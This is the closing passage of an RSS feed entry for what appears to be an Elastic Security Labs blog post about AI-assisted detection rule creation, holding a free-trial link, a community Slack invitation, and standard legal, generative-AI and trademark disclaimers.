<p>Try the new AI rule creation capability on your deployment, or<a href="https://www.elastic.co/kr/cloud/cloud-trial-overview/security"> start a free trial</a>. Connect with us on<a href="https://join.slack.com/t/elasticstack/shared_invite/zt-2sgssfr0n-NhTOlSwHbaGH85tYfx6kGg"> Elastic's community Slack</a> to share feedback or tell us what detection use cases you’re building and how we can help.</p>
<p><em>The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.</em></p>
<p><em>In this blog post, we may have used or referred to third-party generative AI tools, which are owned and operated by their respective owners. Elastic does not have any control over the third-party tools and we have no responsibility or liability for their content, operation or use, nor for any loss or damage that may arise from your use of such tools. Please exercise caution when using AI tools with personal, sensitive or confidential information. Any data you submit may be used for AI training or other purposes. There is no guarantee that information you provide will be kept secure or confidential. You should familiarize yourself with the privacy practices and terms of use of any generative AI tools prior to use.</em></p>
<p><em>Elastic, Elasticsearch, ESRE, Elasticsearch Relevance Engine and associated marks are trademarks, logos or registered trademarks of Elasticsearch N.V. in the United States and other countries. All other company and product names are trademarks, logos or registered trademarks of their respective owners.</em></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/ai-esql-detection-rule-creation/cover.png" length="0" type="image/png"/>
        </item>
    </channel>
</rss>